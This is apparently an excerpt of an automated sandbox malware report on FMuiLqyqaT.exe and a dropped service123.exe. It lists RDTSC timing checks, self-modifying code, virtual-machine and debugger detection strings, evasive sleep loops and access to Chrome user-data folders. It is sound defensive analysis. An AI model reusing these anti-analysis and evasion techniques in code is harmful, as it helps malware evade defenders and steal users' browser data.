Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0F8A second address: 6EC0F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0F90 second address: 6EC0FA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E5C73ECB1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0FA5 second address: 6EC0FD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edi, eax 0x0000000d jmp 00007F4E5D020B4Eh 0x00000012 test edi, edi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov dx, 83B0h 0x0000001b movsx ebx, ax 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0FD9 second address: 6EC0FFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F4ECADFD37Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4E5C73ECB2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0FFB second address: 6EC100D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E5D020B4Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC100D second address: 6EC1043 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebp-04h] 0x0000000e jmp 00007F4E5C73ECB6h 0x00000013 mov dword ptr [esi+08h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov ax, bx 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC1043 second address: 6EC1052 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E5D020B4Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC1052 second address: 6EC10D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebx+70h] 0x0000000b pushad 0x0000000c jmp 00007F4E5C73ECAEh 0x00000011 popad 0x00000012 push 00000001h 0x00000014 pushad 0x00000015 jmp 00007F4E5C73ECAEh 0x0000001a pushfd 0x0000001b jmp 00007F4E5C73ECB2h 0x00000020 jmp 00007F4E5C73ECB5h 0x00000025 popfd 0x00000026 popad 0x00000027 nop 0x00000028 jmp 00007F4E5C73ECAEh 0x0000002d push eax 0x0000002e jmp 00007F4E5C73ECABh 0x00000033 nop 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 call 00007F4E5C73ECABh 0x0000003c pop ecx 0x0000003d movsx edx, cx 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC10D7 second address: 6EC10F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-18h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edi 0x00000010 pop esi 0x00000011 mov ax, dx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC10F2 second address: 6EC1105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E5C73ECAFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC1105 second address: 6EC111E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov ah, C5h 0x0000000c mov ax, di 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC111E second address: 6EC1124 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC1124 second address: 6EC113E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E5D020B56h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC113E second address: 6EC1142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC1156 second address: 6EC116E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC116E second address: 6EC122A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, eax 0x0000000b jmp 00007F4E5C73ECB6h 0x00000010 test edi, edi 0x00000012 pushad 0x00000013 push esi 0x00000014 pushad 0x00000015 popad 0x00000016 pop edx 0x00000017 popad 0x00000018 js 00007F4ECADFD1B8h 0x0000001e pushad 0x0000001f mov ebx, esi 0x00000021 popad 0x00000022 mov eax, dword ptr [ebp-14h] 0x00000025 pushad 0x00000026 mov ecx, 453273CBh 0x0000002b jmp 00007F4E5C73ECB0h 0x00000030 popad 0x00000031 mov ecx, esi 0x00000033 jmp 00007F4E5C73ECB0h 0x00000038 mov dword ptr [esi+0Ch], eax 0x0000003b jmp 00007F4E5C73ECB0h 0x00000040 mov edx, 756006ECh 0x00000045 pushad 0x00000046 push ecx 0x00000047 pushad 0x00000048 popad 0x00000049 pop ebx 0x0000004a call 00007F4E5C73ECB8h 0x0000004f movzx esi, di 0x00000052 pop edx 0x00000053 popad 0x00000054 sub eax, eax 0x00000056 pushad 0x00000057 mov bx, 70DCh 0x0000005b mov edx, 62B8BEC8h 0x00000060 popad 0x00000061 lock cmpxchg dword ptr [edx], ecx 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F4E5C73ECAAh 0x0000006c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC122A second address: 6EC1294 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a jmp 00007F4E5D020B56h 0x0000000f test eax, eax 0x00000011 jmp 00007F4E5D020B50h 0x00000016 jne 00007F4ECB6DEFC0h 0x0000001c jmp 00007F4E5D020B50h 0x00000021 mov edx, dword ptr [ebp+08h] 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F4E5D020B57h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC1294 second address: 6EC12C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4E5C73ECADh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC12C2 second address: 6EC12E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4E5D020B4Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC12E8 second address: 6EC1304 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4E5C73ECB7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC1304 second address: 6EC1338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esi+04h] 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F4E5D020B52h 0x00000011 or ecx, 6630BF68h 0x00000017 jmp 00007F4E5D020B4Bh 0x0000001c popfd 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC1338 second address: 6EC133C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC1492 second address: 6EC14D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 pushfd 0x00000007 jmp 00007F4E5D020B4Bh 0x0000000c jmp 00007F4E5D020B53h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov eax, dword ptr [esi+18h] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F4E5D020B50h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC14D2 second address: 6EC14D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC14D8 second address: 6EC14DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC14DD second address: 6EC150D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F4E5C73ECAAh 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [edx+18h], eax 0x00000010 jmp 00007F4E5C73ECB1h 0x00000015 mov eax, dword ptr [esi+1Ch] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push edi 0x0000001c pop esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC150D second address: 6EC1512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC1512 second address: 6EC1537 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ax, 8FADh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [edx+1Ch], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4E5C73ECB2h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC1537 second address: 6EC153D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC153D second address: 6EC15B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+20h] 0x0000000c pushad 0x0000000d mov cl, 8Eh 0x0000000f mov ebx, 5B9CD13Eh 0x00000014 popad 0x00000015 mov dword ptr [edx+20h], eax 0x00000018 pushad 0x00000019 mov bh, al 0x0000001b popad 0x0000001c mov eax, dword ptr [esi+24h] 0x0000001f jmp 00007F4E5C73ECB9h 0x00000024 mov dword ptr [edx+24h], eax 0x00000027 pushad 0x00000028 mov al, 82h 0x0000002a jmp 00007F4E5C73ECB9h 0x0000002f popad 0x00000030 mov eax, dword ptr [esi+28h] 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F4E5C73ECADh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC15B0 second address: 6EC1643 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+28h], eax 0x0000000c jmp 00007F4E5D020B4Eh 0x00000011 mov ecx, dword ptr [esi+2Ch] 0x00000014 jmp 00007F4E5D020B50h 0x00000019 mov dword ptr [edx+2Ch], ecx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F4E5D020B4Eh 0x00000023 or eax, 6EC96C88h 0x00000029 jmp 00007F4E5D020B4Bh 0x0000002e popfd 0x0000002f push esi 0x00000030 pushad 0x00000031 popad 0x00000032 pop edx 0x00000033 popad 0x00000034 mov ax, word ptr [esi+30h] 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007F4E5D020B4Dh 0x00000041 or al, FFFFFFA6h 0x00000044 jmp 00007F4E5D020B51h 0x00000049 popfd 0x0000004a mov eax, 59F502D7h 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC1643 second address: 6EC1648 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC1648 second address: 6EC1659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov word ptr [edx+30h], ax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC1659 second address: 6EC1675 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC1675 second address: 6EC172A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ax, word ptr [esi+32h] 0x0000000d pushad 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 mov esi, 5120386Dh 0x00000017 popad 0x00000018 mov word ptr [edx+32h], ax 0x0000001c pushad 0x0000001d jmp 00007F4E5D020B56h 0x00000022 call 00007F4E5D020B52h 0x00000027 mov ax, E481h 0x0000002b pop eax 0x0000002c popad 0x0000002d mov eax, dword ptr [esi+34h] 0x00000030 jmp 00007F4E5D020B4Dh 0x00000035 mov dword ptr [edx+34h], eax 0x00000038 pushad 0x00000039 movzx eax, bx 0x0000003c mov ax, di 0x0000003f popad 0x00000040 test ecx, 00000700h 0x00000046 jmp 00007F4E5D020B4Bh 0x0000004b jne 00007F4ECB6DEB6Bh 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 push edx 0x00000055 pop esi 0x00000056 pushfd 0x00000057 jmp 00007F4E5D020B57h 0x0000005c jmp 00007F4E5D020B53h 0x00000061 popfd 0x00000062 popad 0x00000063 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Special instruction interceptor: First address: 84FB94 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Special instruction interceptor: First address: A1A828 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Special instruction interceptor: First address: A8095B instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Window / User API: threadDelayed 1053 Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Window / User API: threadDelayed 897 Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Window / User API: threadDelayed 2940 Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Window / User API: threadDelayed 950 Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Window / User API: threadDelayed 1016 Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Window / User API: threadDelayed 855 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Window / User API: threadDelayed 6422 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Window / User API: threadDelayed 3577 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\service123.exe API coverage: 1.0 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe TID: 5604 Thread sleep time: -56028s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe TID: 5684 Thread sleep count: 1053 > 30 Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe TID: 5684 Thread sleep time: -2107053s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe TID: 5524 Thread sleep count: 897 > 30 Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe TID: 5524 Thread sleep time: -1794897s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe TID: 3900 Thread sleep count: 2940 > 30 Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe TID: 3900 Thread sleep time: -5882940s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe TID: 5484 Thread sleep count: 950 > 30 Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe TID: 5484 Thread sleep time: -1900950s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe TID: 5664 Thread sleep count: 1016 > 30 Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe TID: 5664 Thread sleep time: -2033016s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe TID: 5600 Thread sleep count: 855 > 30 Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe TID: 5600 Thread sleep time: -1710855s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7664 Thread sleep count: 6422 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7664 Thread sleep time: -642200s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7664 Thread sleep count: 3577 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7664 Thread sleep time: -357700s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\.ms-ad\ Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\ Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\ Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\Local\Google\ Jump to behavior
Source: Amcache.hve.14.dr Binary or memory string: VMware
Source: Amcache.hve.14.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.14.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.14.dr Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: Amcache.hve.14.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.14.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.14.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.14.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.14.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: FMuiLqyqaT.exe, 00000000.00000003.1602871674.0000000007180000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Amcache.hve.14.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.14.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: chrome.exe, 00000005.00000002.2025773421.000001EF727A8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.14.dr Binary or memory string: vmci.sys
Source: FMuiLqyqaT.exe, 00000000.00000003.1602871674.0000000007180000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: Amcache.hve.14.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.14.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.14.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.14.dr Binary or memory string: VMware20,1
Source: Amcache.hve.14.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.14.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.14.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.14.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.14.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.14.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.14.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.14.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.14.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.14.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.14.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: NTICE
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: SICE
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Process queried: DebugPort Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00D78230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 9_2_00D78230
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00D7116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit, 9_2_00D7116C
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00D711A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 9_2_00D711A3
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00D71160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 9_2_00D71160
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00D713C9 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm, 9_2_00D713C9
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7384D0 cpuid 9_2_6C7384D0
Queries information about the installed CPU (vendor, model number etc)
